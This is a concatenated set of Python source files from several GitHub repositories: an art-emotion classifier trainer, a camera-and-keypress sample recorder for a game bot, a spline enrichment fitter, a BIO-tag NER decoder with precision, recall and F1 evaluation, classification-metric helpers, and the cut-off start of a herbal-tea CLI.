hidden_embedding=np.append(hidden_embedding,temp_hidden_embedding,axis=0)\n print(\"...collect\", batch)\n path=args.do_cllct[2]+\"embedding_\"+args.do_cllct[1]+\".npz\"\n np.savez(path,backbone_embedding=backbone,hidden_embedding=hidden_embedding)\n \n\ndef main(args):\n device = torch.device(\"cuda:\" + str(0) if torch.cuda.is_available() else \"cpu\")\n \n transform_train=presets_orig.ClassificationPresetTrain(crop_size=args.crop_size)\n transform_val=presets_orig.ClassificationPresetEval(crop_size=args.crop_size)\n transform_train_gray=presets_orig_gray.ClassificationPresetTrain(crop_size=args.crop_size)\n transform_val_gray=presets_orig_gray.ClassificationPresetEval(crop_size=args.crop_size)\n wikiart_train=WikiArt(args=args,img_dir=args.img_dir,transform_color=transform_train,transform_gray=transform_train_gray,split=\"train\")\n wikiart_val=WikiArt(args=args,img_dir=args.img_dir,transform_color=transform_val,transform_gray=transform_val_gray,split=\"test\")\n\n if args.do_cllct:\n train_dataloader = DataLoader(wikiart_train, batch_size=args.num_batches, shuffle=False)\n\n else:\n train_dataloader = DataLoader(wikiart_train, batch_size=args.num_batches, shuffle=True)#for train\n val_dataloader = DataLoader(wikiart_val, batch_size=args.num_batches, shuffle=False)\n\n\n update_model_config()\n print(model_config)\n #model\n model=model_config[args.model][\"classifier\"](name=model_config[args.model][\"name\"],drop=model_config[args.model][\"drop\"],freeze=model_config[args.model][\"freeze_level\"],mlp=model_config[args.model][\"mlp\"],dropout=model_config[args.model][\"dropout\"],activations=model_config[args.model][\"activation\"],factors=args.feature_set, level=args.feature_level).to(device)\n model.net.unfreeze()\n\n \n #optimization\n if args.data==\"hist_emotion\":\n model=nn.Sequential(model,nn.LogSoftmax(dim=-1))\n criterion = nn.KLDivLoss(reduction='batchmean')\n\n \n elif args.data==\"max_emotion\":\n criterion = nn.CrossEntropyLoss(reduction='mean')\n\n optimizer = torch.optim.Adam([{'params': filter(lambda p: p.requires_grad, model.parameters()), 'lr': args.learning_rate}])\n #scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=2, gamma=0.96)\n \n if args.do_eval:\n checkpoint=torch.load(args.do_eval,map_location=device)\n model.load_state_dict(checkpoint[\"model_state_dict\"],strict=True)\n evaluate(val_dataloader, model, criterion, device)\n return \n\n if args.do_cllct: #cllct last hidden embedding and style representation\n model.eval()\n if args.do_cllct[0] != \"None\": #from original model\n checkpoint=torch.load(args.do_cllct[0],map_location=device)\n model.load_state_dict(checkpoint[\"model_state_dict\"],strict=True)\n\n model_to_collect=model[0]\n if args.do_cllct[1]==\"train\":\n collect(train_dataloader, args, model_to_collect, device)\n elif args.do_cllct[1]==\"val\":#val\n collect(val_dataloader, args, model_to_collect, device)\n else:#generated\n collect(generated_dataloader, args, model_to_collect, device) \n return\n\n #resume-part#\n if args.resume:\n checkpoint=torch.load(args.resume,map_location=device)\n optimizer.load_state_dict(checkpoint[\"optimizer\"])\n# scheduler.load_state_dict(checkpoint[\"lr_scheduler\"])\n args.start_epoch = checkpoint[\"epoch\"] + 1\n \n print(\"start training....\")\n model.train()#training\n for epoch in range(args.start_epoch, args.epochs):\n train_one_epoch(train_dataloader, model, criterion, optimizer, device)\n# scheduler.step()\n if epoch%5==0:\n torch.save({'epoch':epoch,'model_state_dict':model.state_dict(),'optimizer':optimizer.state_dict()},args.save_model_dir+\"emotion_\"+str(epoch)+\".pt\")\n evaluate(val_dataloader,model, criterion, device=device)\n return\n\n\ndef get_args_parser():\n import argparse\n parser = argparse.ArgumentParser(description=\"train,eval,cllct-embedding emtion classifier\")\n\n #data#\n parser.add_argument(\"--img_dir\",default=\"/ibex/scratch/kimds/Research/P2/data/wikiart_resize/\",type=str)\n parser.add_argument(\"--csv_dir\",default=\"./data/\",type=str) \n parser.add_argument(\"--styles\",default=None,nargs=\"*\")\n parser.add_argument(\"--emotions\",default=None,nargs=\"*\")\n\n \n #model#\n parser.add_argument(\"--model\",default=\"resnet34_orig\", type=str)\n parser.add_argument(\"--crop_size\",default=224,type=int)\n \n #train#\n parser.add_argument(\"--learning_rate\",default=2.5e-4,type=float)#5\n parser.add_argument(\"--epochs\",default=25,type=int)\n parser.add_argument(\"--num_batches\",default=32,type=int)\n parser.add_argument(\"--start_epoch\",default=0,type=int)\n# parser.add_argument(\"--criterion\",default=\"kl_div\",type=str)\n\n #option\n parser.add_argument(\"--save_model_dir\",default=\"./model/\",type=str)#train\n parser.add_argument(\"--do_cllct\",default=None,nargs=\"*\")#collect-embedding [\"model.pt\",\"val\",\"./cllct_embedding/\"]\n parser.add_argument(\"--resume\",default=None,type=str,help=\"model dir to resume training\")#resume-training\n parser.add_argument(\"--do_eval\",default=None,type=str,help=\"model dir to eval\")#just-evaluation\n \n #feature\n parser.add_argument(\"--feature_level\",default=None,type=str,help=\"level to extract gram\")\n parser.add_argument(\"--feature_set\",default=None,nargs=\"*\")#[\"texture\",\"composition\",\"color\"]\n\n #test\n parser.add_argument(\"--version\",default=None,type=str)\n parser.add_argument(\"--data\",default=\"hist_emotion\",type=str,help=\"kl_div or softmax cross entropy\")\n\n return parser\n\nif __name__== \"__main__\":\n args = get_args_parser().parse_args()\n main(args)\n","repo_name":"diana-s-kim/Emotion_toAbstract","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16078005159","text":"from pynput import keyboard\nimport threading\nimport cv2 as cv\nimport time\nimport numpy as np\nimport math\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom main import ball_deteccion, ceil_deteccion, obstacle_deteccion, measure_distance_to_ceil_and_detted_colission, analize_space\nimport cv2\nimport statistics as stats\n#cv.startWindowThread()\n#cv.namedWindow(\"preview\")\n\nfolder_dest = \"samples\"\ntime_start = 0\nkernel_two = np.ones((1,1),np.uint8)\ndef analize_space(img, ceil_x, ceil_y, delta_y=15, delta_x=110, steep_x=3, canvas_img=None): \n ceil_all_mask = cv.morphologyEx(img,cv.MORPH_OPEN,kernel_two)\n ceil_all_mask = cv.morphologyEx(ceil_all_mask,cv.MORPH_CLOSE,kernel_two)\n #cv.imshow(\"2\", ceil_all_mask)\n def analize_point(mask, x, y):\n try:\n if mask[y, x] < 100:\n return 1\n elif mask[y, x] == 100:\n return -1\n except:\n pass\n return 0\n\n \n cv.line(canvas_img, (ceil_x, ceil_y+delta_y), (ceil_x-delta_x, ceil_y-10), (0,0,255))\n cv.line(canvas_img, (ceil_x, ceil_y+delta_y), (ceil_x+delta_x, ceil_y-10), (0,0,255))\n cy_ = ceil_y+delta_y\n last_cy = 0\n last_cx = 0\n found_left = False\n left_distance = 0\n left_list = []\n for cx_ in range(ceil_x, ceil_x-delta_x, -steep_x):\n cy_ -= 0.3*steep_x\n cv.circle(canvas_img,(cx_, math.floor(cy_)),2,(0,0,255),1)\n result = analize_point(ceil_all_mask, cx_, math.floor(cy_))\n left_list.append(result)\n if result == 1:\n #print(cx_, math.floor(cy_))\n #print(\"empty space left\")\n cv.circle(canvas_img,(cx_, math.floor(cy_)),2,(0,255,0),10) \n left_distance = (cx_ - ceil_x)*-1\n \n elif result == -1:\n #print(cx_, math.floor(cy_))\n #print(\"obs detect left\")\n cv.circle(canvas_img,(cx_, math.floor(cy_)),2,(0,0,255),10) \n \n cy_ = ceil_y+delta_y\n found_right = False\n right_list = []\n right_distance = 0\n for cx_ in range(ceil_x, ceil_x+delta_x, steep_x):\n cy_ -= 0.3 * steep_x\n cv.circle(canvas_img,(cx_, math.floor(cy_)),2,(0,0,255),1)\n result = analize_point(ceil_all_mask, cx_, math.floor(cy_))\n right_list.append(result)\n if result == 1:\n #print(cx_, math.floor(cy_))\n #print(\"empty space right\")\n cv.circle(canvas_img,(cx_, math.floor(cy_)),2,(0,255,0),10)\n right_distance = cx_ - ceil_x\n found_right = True\n \n elif result == -1:\n #print(cx_, math.floor(cy_))\n #print(\"obs detect right\")\n cv.circle(canvas_img,(cx_, math.floor(cy_)),2,(0,0,255),10) \n \n return [right_list, left_list]\n\nclass recorder():\n def __init__(self):\n self.cap = cv.VideoCapture(0)\n if not self.cap.isOpened():\n print(\"Cannot open camera\")\n exit()\n self.__frame = None\n self.__time_start = 0\n self.__lock = threading.Lock()\n self.__press = False\n self._ceil = {'x': [], 'y': []}\n self._data = []\n self.__capture_counter = 0\n self.measure_ceil_distance(100)\n \n def measure_ceil_distance(self, repeat = 100):\n ceil = {'x': [], 'y': []}\n for _ in range(repeat):\n _, img = self.cap.read()\n img_hsv = cv.cvtColor(img, cv.COLOR_RGB2HSV) \n data = []\n cx, cy, _ = ball_deteccion(img_hsv, img)\n ceil_mask = ceil_deteccion(img_hsv)\n obs_mask = obstacle_deteccion(img_hsv) \n\n obs_all_mask = ceil_mask + obs_mask\n ceil_cx, ceil_cy, ceil_distance, colision = measure_distance_to_ceil_and_detted_colission(obs_all_mask, cx, cy)\n if ceil_cx == 0:\n continue\n ceil['x'].append(ceil_cx)\n ceil['y'].append(ceil_cy)\n self._ceil['y'] = int(stats.median(ceil['y']))\n self._ceil['x'] = int(stats.median(ceil['x']))\n print(\"Ceil position {} {}\".format(self._ceil['x'], self._ceil['y']))\n\n def processing_img(self, img, key):\n self.__lock.acquire()\n print(\"Capture {}\".format(self.__capture_counter))\n self.__capture_counter += 1\n img_hsv = cv.cvtColor(img, cv.COLOR_RGB2HSV) \n data = []\n cx, cy, _ = ball_deteccion(img_hsv, img)\n ceil_mask = ceil_deteccion(img_hsv)\n obs_mask = obstacle_deteccion(img_hsv) \n\n obs_all_mask = ceil_mask + obs_mask\n ceil_cx, ceil_cy, ceil_distance, colision = measure_distance_to_ceil_and_detted_colission(obs_all_mask, cx, cy) \n\n ceil_space = analize_space(obs_all_mask, self._ceil['x'], self._ceil['y'], canvas_img=img, steep_x=1, delta_y=20)\n air_space = analize_space(obs_all_mask, self._ceil['x'], self._ceil['y']-75, canvas_img=img, steep_x=1, delta_y=0)\n next_ceil_space = analize_space(obs_all_mask, self._ceil['x'], self._ceil['y']+150, canvas_img=img, steep_x=1, delta_y=25)\n\n data.append(str(key))\n data.append(ceil_distance)\n data.append(colision)\n data.append(ceil_space)\n data.append(air_space)\n data.append(next_ceil_space)\n\n self._data.append(data)\n self.__capture_counter += 1\n self.__lock.release()\n #cv.imshow(\"preview\", img)\n cv2.imshow('H', img)\n cv2.waitKey(0)\n \n\n\n def processing(self, key):\n _, self.__frame = self.cap.read()\n thread = threading.Thread(target=self.processing_img, args=(self.__frame, key,))\n thread.start()\n \n \n \n\n def on_press(self, key): \n if key == keyboard.Key.esc:\n self.save() \n raise \n if (key == keyboard.Key.left or key == keyboard.Key.right or key == keyboard.Key.space):\n #self.__lock.acquire()\n self.__press = True\n self.processing(key)\n print(\"Start capture\")\n self.time_start = time.time() \n \n\n def on_release(self, key):\n if key == keyboard.Key.left or key == keyboard.Key.right or key == keyboard.Key.space:\n time_delta = time.time() - self.__time_start\n print(\"End Capture\")\n filename = \"{}/{}-{}d-{}s.JPG\".format(folder_dest, time.time(), str(key), time_delta)\n thread = threading.Thread(target=self.write, args=(filename, self.__frame,))\n thread.start()\n self.__press = False\n #self.__lock.release()\n \n def write(self, filename, frame):\n cv.imwrite(filename, frame)\n #cv.imwrite()\n\n def save(self):\n df = pd.DataFrame(self._data,columns=['key','ceil_distance', 'colision', 'ceil_space', 'air_space', 'next_level_space'])\n df.to_csv(str(time.time()) + \".csv\")\n\nr = recorder()\n# Collect events until released\nwith keyboard.Listener(\n on_press=r.on_press) as listener:\n listener.join()","repo_name":"Ymil/jumpyjumpy_bot","sub_path":"sample_recorder.py","file_name":"sample_recorder.py","file_ext":"py","file_size_in_byte":6992,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"72643356035","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCopyright (c) 2021 Kyle Cutler, Chad Quilling, J.C. Price, and Brigham Young University\r\nAll rights reserved.\r\nRedistribution and use in source and binary forms,\r\nwith or without modification, are permitted provided\r\nthat the following conditions are met:\r\n * Redistributions of source code must retain the\r\n above copyright notice, this list of conditions\r\n and the following disclaimer.\r\n * Redistributions in binary form must reproduce\r\n the above copyright notice, this list of conditions\r\n and the following disclaimer in the documentation\r\n and/or other materials provided with the distribution.\r\n * Neither the author nor the names of any contributors\r\n may be used to endorse or promote products derived\r\n from this software without specific prior written\r\n permission.\r\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\r\nCONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\r\nINCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\r\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\r\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\r\nCONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\r\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\r\nNOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\r\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\r\nHOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\r\nOR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n\"\"\"\r\n\r\n\r\n\"\"\"\r\n\r\ndeal with splines and fitting the equations\r\nwill also do any error checking if necessary \r\n\r\n\"\"\"\r\n\r\nimport os\r\nimport numpy as np\r\nimport pandas as pd\r\nimport scipy.interpolate as si\r\n\r\nfrom utils.graphing_tools import enrichment_graph\r\n\r\n#$the spline equation will be separate for easier calling in other modules\r\ndef spline_interp(t, d):\r\n std_d = np.std(d)\r\n w_y = [3/std_d for i in range(len(t))]\r\n spl = si.splrep(t, d, w=w_y)\r\n return lambda x: si.splev(x, spl)\r\n\r\n#$this just holds some data for ease\r\nclass subject_data(object):\r\n def __init__(self, subject_name, x, y):\r\n self.subject_name = subject_name\r\n self.x = x\r\n self.y = y\r\n def calculate_spline(self):\r\n self.spline = spline_interp(self.x, self.y)\r\n \r\n def calculate_theory_data(self):\r\n self.theory_x = np.arange(0, max(self.x), .1)\r\n self.theory_y = self.spline(self.theory_x)\r\n\r\nold_header =[\"Subject ID Enrichment\", \"Time Enrichment\", \"Enrichment\"]\r\n#$we'll use a class for consistency with other parts\r\nclass PerformEnrichmentClass(object):\r\n def __init__(self, input_filename, graph_folder_name, graph_type):\r\n temp_df = pd.read_csv(input_filename, sep = \"\\t\")\r\n self.subject_ids = list(temp_df[old_header[0]].unique())\r\n #$if the number of enrichment measurments is less than the number of subject samples we can end with nans in the subject list\r\n #$we'll remove that.\r\n self.subject_ids = [s for s in self.subject_ids if pd.notnull(s)]\r\n self.load_previous_data(input_filename)\r\n self.graph_folder_name = graph_folder_name\r\n self.graph_type = graph_type\r\n \r\n def perform_calculations(self):\r\n #$sometimes a fit fails. instead of raising a warning or error, the spline just returns nans\r\n #$fortunately the spline can extrapolate and should start at or near 0. so to prevent errors in rate calculation, we'll try it,\r\n #$track it, and then return it later\r\n self.error_list = []\r\n for subject_key in self.subject_dictionary.keys():\r\n temp_subject_class = self.subject_dictionary[subject_key]\r\n temp_subject_class.calculate_spline()\r\n temp_subject_class.calculate_theory_data()\r\n temp_graph_name = os.path.join(self.graph_folder_name, temp_subject_class.subject_name +f\".{self.graph_type}\")\r\n enrichment_graph(temp_subject_class.x, temp_subject_class.y, \r\n temp_subject_class.theory_x, temp_subject_class.theory_y,\r\n temp_subject_class.subject_name, temp_graph_name, self.graph_type)\r\n #$ report error might as well graph it anyway. \r\n if any(np.isnan(temp_subject_class.theory_y)):\r\n self.error_list.append(subject_key)\r\n\r\n def report_error(self):\r\n if self.error_list == []:\r\n return \"\"\r\n error_message = \"The following Subjects failed to fit: \\n{}\\nlikely because of errors in entering data in the enrichment table. Analysis has stopped. Please try again.\".format(\"\\n\".join(self.error_list))\r\n return error_message\r\n \r\n #$need to load the file and prepare for fitting\r\n def load_previous_data(self, input_filename):\r\n self.subject_dictionary = {}\r\n df = pd.read_csv(input_filename, delimiter=(\"\\t\"))\r\n df = df[old_header]\r\n for subject in self.subject_ids: \r\n temp_df = df[df[old_header[0]] == subject]\r\n #$ the spline needs to be in order. this is faster and easier than trying to do it when making the output\r\n temp_df = temp_df.sort_values(old_header[1])\r\n #$need to pass numpy array values for the fits\r\n self.subject_dictionary[subject] = subject_data(\r\n subject,\r\n temp_df[old_header[1]].to_numpy(),\r\n temp_df[old_header[2]].to_numpy()\r\n )\r\n \r\nif __name__ == '__main__':\r\n test = PerformEnrichmentClass(\"\", \"\")\r\n ","repo_name":"JC-Price/DeuteRater-H","sub_path":"utils/enrichment_class_fitter.py","file_name":"enrichment_class_fitter.py","file_ext":"py","file_size_in_byte":5664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5579163875","text":"from polus.core import BaseLogger\nfrom copy import deepcopy\nfrom polus.ner.bio import decode_bio\nfrom polus.ner.bio import get_bio\nfrom polus.ner.elements import EntitySet, get_entities_within_span\nfrom math import nan\n\nclass BioCSequenceDecoder(BaseLogger):\n TAG2INT = {\n 'PAD': 0,\n 'O': 1,\n 'B-Chemical': 2,\n 'I-Chemical': 3\n }\n INT2TAG = {i: t for t, i in TAG2INT.items()}\n \n def __init__(self, corpora):\n \n super().__init__()\n self.corpora = {str(corpus): corpus for corpus in corpora}\n \n # auxiliar var that holds a dictionary that can be built in a batch-wise fashion\n self.documents_dict = {}\n \n #\n # Load into memory the gold standard (true) texts and entity\n # sets.\n #\n self.documents = dict()\n for corpus_str, corpus in self.corpora.items():\n self.documents[corpus_str] = dict()\n for group, collection in corpus:\n self.documents[corpus_str][group] = dict()\n for i, d in collection:\n self.documents[corpus_str][group][i] = dict()\n self.documents[corpus_str][group][i]['text'] = d.text()\n # self.documents[corpus_str][group][i]['nes'] = d.nes()\n self.documents[corpus_str][group][i]['es'] = d.get_entity_set()\n \n def clear_state(self):\n self.documents_dict = {}\n \n def samples_from_batch(self, samples):\n #\n # Unbatching in Python.\n #\n _samples = []\n \n if isinstance(samples, dict):\n samples = [samples]\n \n for sample in samples:\n key = list(sample.keys())[0]\n batch_size = sample[key].shape[0]\n for i in range(batch_size):\n _samples.append({k: v[i] for k, v in sample.items()})\n samples = _samples\n \n for data in samples:\n corpus = data['corpus'].numpy().decode()\n group = data['group'].numpy().decode()\n identifier = data['identifier'].numpy().decode()\n spans = data['spans'].numpy().tolist()\n #\n # Convert predicted integer values tags to predicted tags.\n #\n tags_pred = [BioCSequenceDecoder.INT2TAG[i] for i in data['tags_int_pred'].numpy().tolist()]\n \n is_prediction = data['is_prediction'].numpy().tolist()\n \n if corpus not in self.documents_dict:\n self.documents_dict[corpus] = dict()\n if group not in self.documents_dict[corpus]:\n self.documents_dict[corpus][group] = dict()\n if identifier not in self.documents_dict[corpus][group]:\n self.documents_dict[corpus][group][identifier] = {\n 'spans': list(), 'tags': list()}\n \n #\n # Select only the values that were marked for prediction.\n #\n filtered_spans = list()\n filtered_tags = list()\n for s, t, p in zip(spans, tags_pred, is_prediction):\n if p == 1:\n filtered_spans.append(s)\n filtered_tags.append(t)\n \n self.documents_dict[corpus][group][identifier]['spans'].extend(filtered_spans)\n self.documents_dict[corpus][group][identifier]['tags'].extend(filtered_tags)\n \n def decode(self):\n\n counts = {\n 'tags': 0,\n 'inside_tag_after_other_tag': 0,\n 'inside_tag_with_different_entity_type': 0,\n }\n \n #\n # The spans and the respective tags are assumed to be already\n # ordered.\n #\n for corpus in self.documents_dict:\n for group in self.documents_dict[corpus]:\n for identifier in self.documents_dict[corpus][group]:\n #\n # Get the original text from the gold standard (true)\n # document.\n #\n text = self.documents[corpus][group][identifier]['text']\n \n spans = self.documents_dict[corpus][group][identifier]['spans']\n tags = self.documents_dict[corpus][group][identifier]['tags']\n #\n # Given the predicted tags, the respective spans,\n # and the original (true) text get the predicted\n # entity set.\n #\n es, c = decode_bio(tags, spans, text, allow_errors=True)\n self.documents_dict[corpus][group][identifier]['es'] = es\n \n counts['tags'] += c['tags']\n counts['inside_tag_after_other_tag'] += c['inside_tag_after_other_tag']\n counts['inside_tag_with_different_entity_type'] += c['inside_tag_with_different_entity_type']\n \n s = 'Statistics about the BIO decoding process: tags={}, inside_tag_after_other_tag={}, inside_tag_with_different_entity_type={}.'.format(\n counts['tags'], counts['inside_tag_after_other_tag'], counts['inside_tag_with_different_entity_type'])\n \n self.logger.info(s)\n \n def decode_from_samples(self, samples):\n #\n # To keep track of the number of BIO decoding errors.\n #\n \n # here we assume a gigant batch that contains all the dataset\n self.samples_from_batch(samples)\n \n self.decode()\n \n def evaluate_ner_from_sample(self, samples):\n \n self.decode_from_samples(samples)\n \n return self._evaluate_ner()\n \n def evaluate_ner(self):\n \n self.decode()\n \n return self._evaluate_ner()\n \n def _evaluate_ner(self):\n \n true_list = list()\n pred_list = list()\n \n for corpus in self.documents_dict:\n for group in self.documents_dict[corpus]:\n for identifier in self.documents_dict[corpus][group]:\n \n true_es = self.documents[corpus][group][identifier]['es']\n pred_es = self.documents_dict[corpus][group][identifier]['es']\n \n true_list.append(true_es)\n pred_list.append(pred_es)\n \n results = eval_list_of_entity_sets(true_list, pred_list)\n \n # clear the document state\n self.clear_state()\n \n return results\n \n def _get_collections(self):\n \n collections = dict()\n for corpus in self.documents_dict:\n collections[corpus] = dict()\n for group in self.documents_dict[corpus]:\n #\n # This is important: make a deepcopy to not modify the\n # original corpora.\n #\n collections[corpus][group] = deepcopy(self.corpora[corpus][group])\n #\n # Sanity measure: remove all the entities from the\n # collection.\n #\n collections[corpus][group].clear_entities()\n \n for corpus in self.documents_dict:\n for group in self.documents_dict[corpus]:\n for identifier in self.documents_dict[corpus][group]:\n nes = self.documents_dict[corpus][group][identifier]['es'].to_normalized_entity_set()\n entities = nes.get()\n collections[corpus][group][identifier].set_entities(entities)\n \n # clear the document state\n self.clear_state()\n \n return collections\n \n def get_collections_from_samples(self, samples):\n r\"\"\"\n Return a dictionary with Collection objects.\n The first-level key is the corpus name.\n The second-level key is the group name.\n \n Each collection contains the predicted entities derived from\n the predicted samples (that have the predicted BIO tags).\n \"\"\"\n self.decode_from_samples(samples)\n \n return self._get_collections()\n \n def get_collections(self):\n r\"\"\"\n Return a dictionary with Collection objects.\n The first-level key is the corpus name.\n The second-level key is the group name.\n \n Each collection contains the predicted entities derived from\n the predicted samples (that have the predicted BIO tags).\n \"\"\"\n self.decode()\n \n return self._get_collections()\n\ndef precision_recall_f1(tp, fp, fn, return_nan=True):\n \n try:\n precision = tp / (tp + fp)\n except ZeroDivisionError:\n precision = nan if return_nan else 0.0\n \n try:\n recall = tp / (tp + fn)\n except ZeroDivisionError:\n recall = nan if return_nan else 0.0\n \n try:\n f1 = tp / (tp + 0.5 * (fp + fn))\n except ZeroDivisionError:\n f1 = nan if return_nan else 0.0\n \n return precision, recall, f1\n\n\ndef empty_results(counts=True):\n if counts:\n return {\n 'tp': 0,\n 'fp': 0,\n 'fn': 0,\n 'precision': 0.0,\n 'recall': 0.0,\n 'f1': 0.0,\n }\n else:\n return {\n 'precision': 0.0,\n 'recall': 0.0,\n 'f1': 0.0,\n }\n\n\ndef eval_list_of_entity_sets(true, pred, return_nan=True):\n #\n # Only one evaluation mode is defined and calculated:\n # (1) Strict:\n # For a predicted entity to count as True Positive (TP), its\n # string, span (left and right boundaries), and type must be\n # correct. That is, it must match (exactly) the gold standard\n # (true) entity.\n #\n assert isinstance(true, list)\n assert isinstance(pred, list)\n assert len(true) == len(pred)\n #\n # Initialize dictionary with empty results.\n #\n results = empty_results(counts=True)\n #\n # Go through each pair of entity sets (true, predicted).\n #\n for t_es, p_es in zip(true, pred):\n assert isinstance(t_es, EntitySet)\n assert isinstance(p_es, EntitySet)\n #\n # Total number of true and predicted entities.\n #\n n_true_entities = len(t_es)\n n_pred_entities = len(p_es)\n \n tp = len(t_es.intersection(p_es))\n \n fp = n_pred_entities - tp\n fn = n_true_entities - tp\n \n results['tp'] += tp\n results['fp'] += fp\n results['fn'] += fn\n \n results['precision'], results['recall'], results['f1'] = precision_recall_f1(results['tp'], results['fp'], results['fn'], return_nan=return_nan)\n \n return results\n","repo_name":"bioinformatics-ua/polus","sub_path":"polus/ner/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10775,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"675073294","text":"import tensorflow as tf\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import multilabel_confusion_matrix, confusion_matrix, precision_score, recall_score, f1_score\n# &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&\nN_CLASSSES = 4\n# &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&\ndef confusion_metrics_tf(actual_classes, model, session, feed_dict):\n actuals = tf.argmax(actual_classes, 1)\n predictions = tf.argmax(model, 1)\n actuals = session.run(actuals, feed_dict)\n predictions = session.run(predictions, feed_dict)\n\n lbls = [*range(N_CLASSSES)]\n mcm = multilabel_confusion_matrix(actuals, predictions, labels=lbls)\n tp = mcm[:, 1, 1]\n tn = mcm[:, 0, 0]\n fn = mcm[:, 1, 0]\n fp = mcm[:, 0, 1]\n\n # print(calculate_measures(np.mean(tp), np.mean(tn), np.mean(fp), np.mean(fn), 0))\n #true label being i-th (row) class and the predicted label being jth (column)\n cm = confusion_matrix(actuals, predictions, labels=lbls, sample_weight=None)\n return cm, np.mean(tp), np.mean(tn), np.mean(fp), np.mean(fn), actuals, predictions\ndef confusion_metrics_basic(actuals, predictions):\n lbls = [*range(N_CLASSSES)]\n mcm = multilabel_confusion_matrix(actuals, predictions, labels=lbls)\n tp = mcm[:, 1, 1]\n tn = mcm[:, 0, 0]\n fn = mcm[:, 1, 0]\n fp = mcm[:, 0, 1]\n cm = confusion_matrix(actuals, predictions, labels=lbls, sample_weight=None)\n return cm, np.mean(tp), np.mean(tn), np.mean(fp), np.mean(fn)\ndef Micro_calculate_measures(tp, tn, fp, fn, uncovered_sample):\n fn += uncovered_sample\n try:\n tpr = float(tp) / (float(tp) + float(fn))\n accuracy = (float(tp) + float(tn)) / (float(tp) + float(fp) + float(fn) + float(tn))\n recall = tpr\n precision = float(tp) / (float(tp) + float(fp))\n\n f1_score = (2 * (precision * recall)) / (precision + recall)\n fp_rate = float(fp) / (float(fp) + float(tn))\n fn_rate = float(fn) / (float(fn) + float(tp))\n\n # return precision, recall, f1_score, accuracy, fp_rate, fn_rate\n PR = str(round(precision * 100, 2))\n RC = str(round(recall * 100, 2))\n F1 = str(round(f1_score * 100, 2))\n ACC = str(round(accuracy * 100, 2))\n FPR = str(round(fp_rate * 100, 2))\n FNR = str(round(fn_rate * 100, 2))\n\n data_pd = [['PR', PR], ['RC', RC], ['F1', F1], ['ACC', ACC], ['FPR', FPR], ['FNR', FNR], ['tp', tp], ['tn', tn],\n ['fp', fp], ['fn', fn]]\n\n df = pd.DataFrame(data_pd, columns=['Measure', 'Percentage'])\n\n except Exception as e:\n print(e)\n data_pd = [['PR', 'Err'], ['RC', 'Err'], ['F1', 'Err'], ['ACC', 'Err'], ['FPR', 'Err'], ['FNR', 'Err']]\n\n df = pd.DataFrame(data_pd, columns=['Measure', 'Percentage'])\n return df\ndef Macro_calculate_measures_tf(y_true, y_pred, session, feed_dict):\n actuals = tf.argmax(y_true, 1)\n predictions = tf.argmax(y_pred, 1)\n y_true = session.run(actuals, feed_dict)\n y_pred = session.run(predictions, feed_dict)\n pr= precision_score(y_true, y_pred, average='macro')\n rc = recall_score(y_true, y_pred, average='macro')\n f1 = f1_score(y_true, y_pred, average='macro')\n\n return pr, rc, f1\n\ndef Macro_calculate_measures_basic(y_true, y_pred):\n pr = precision_score(y_true, y_pred, average='macro')\n rc = recall_score(y_true, y_pred, average='macro')\n f1 = f1_score(y_true, y_pred, average='macro')\n\n return pr, rc, f1\n","repo_name":"Sam-Mah/CapsRule","sub_path":"Performance_measures.py","file_name":"Performance_measures.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"24365007397","text":"from typing import Any, Annotated, Optional\n\nimport typer\nfrom rich.console import Console\nfrom rich.table import Table\n\nfrom herbaltea_classifier.entities.herbal_tea import HerbalTea\nfrom herbaltea_classifier.use_cases.herbal_tea import HerbalTeaUseCase\nfrom herbaltea_classifier.adapters.postgrest import PostgrestCrud\n\n\nconsole = Console()\n\napp = typer.Typer()\npostgrest_client = PostgrestCrud(\"http://localhost:3001\")\n\n\n@app.command()\ndef find_herbal_teas(name_fr: Annotated[Optional[str], typer.Option()] = None) -> None:\n kwargs: dict[str, Any] = {}\n if name_fr is not None:\n kwargs[\"name_fr\"] = name_fr\n herbal_teas: list[HerbalTea] = postgrest_client.herbaltea.read(**kwargs)\n\n table = Table(\"Vernacular Name\", \"Botanical Name\")\n for herbal_tea in herbal_teas:\n if herbal_tea.name_fr is not None:\n table.add_row(herbal_tea.name_fr, herbal_tea.name_botanical)\n console.print(table)\n\n\n@app.command()\ndef create_all() -> None:\n use_case = HerbalTeaUseCase(postgrest_client.herbaltea)\n use_case.create_herbal_teas()\n\n\nif __name__ == \"__main__\":\n 